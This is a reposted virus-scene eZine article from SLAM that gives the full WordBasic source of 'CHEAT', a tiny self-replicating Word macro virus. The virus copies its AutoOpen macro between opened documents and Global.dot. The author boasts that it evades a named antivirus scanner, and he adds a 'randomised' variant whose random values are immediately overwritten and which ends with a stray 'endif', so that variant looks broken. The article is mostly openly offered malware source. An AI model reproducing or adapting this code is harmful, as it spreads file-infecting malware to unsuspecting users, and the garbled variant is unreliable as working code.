Copy Link
Add to Bookmark
Report

SLAM3.017: CHEAT, one of the smallest Word.Macro viruses by AuroDreph [SLAM]

eZine's profile picture
Published in 
Slam
 · 25 Feb 2022

-------------------------------------------- 
One of the smallest Word.Macro virus CHEAT
,
By <****{=============-
' AuRoDrEpH, the Drow
--------------------------------------------


After the Q virus by NJ, i found a very short virus only 6 lines but he makes a good job...

The first time you open the document, the virus infected the Global.Dot.. Then each time, you open a file he infects the document...

And this virus isn't detected with the last version of F-MACRO 2.08 :-)

Here is the source :

Sub MAIN 
On Error Resume Next
A$ = "Global:AutoOpen"
Z$ = FileName$() + ":AutoOpen"
If A$ = Z$ Then
Beep
Else MacroCopy A$, Z$, 1 ' infect a file from the GLOBAL.DOT
If A$ = Z$ Then
Beep
Else MacroCopy Z$, A$, 1 ' infect the GLOBAL.DOT from the file
If A$ = Z$ Then
Beep
Else FileSaveAs .Format = 1
End Sub


Here is a version modified by myself. I add to the virus a little random capacity :-)

Sub Main 
On error resume next
char1$ = Chr$(Int(Rnd() * (90 - 65) + 65))
char2$ = Chr$(Int(Rnd() * (90 - 65) + 65))
char1$ = "Global:AutoOpen"
char2$ = FileName$() + ":AutoOpen"
If char1$ <> char2$ Then MacroCopy char1$, char2$, 1
If char1$ <> char2$ Then MacroCopy char1$, char2$, 1
If char1$ <> char2$ Then FileSaveAs .Format = 1
endif
End Sub

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT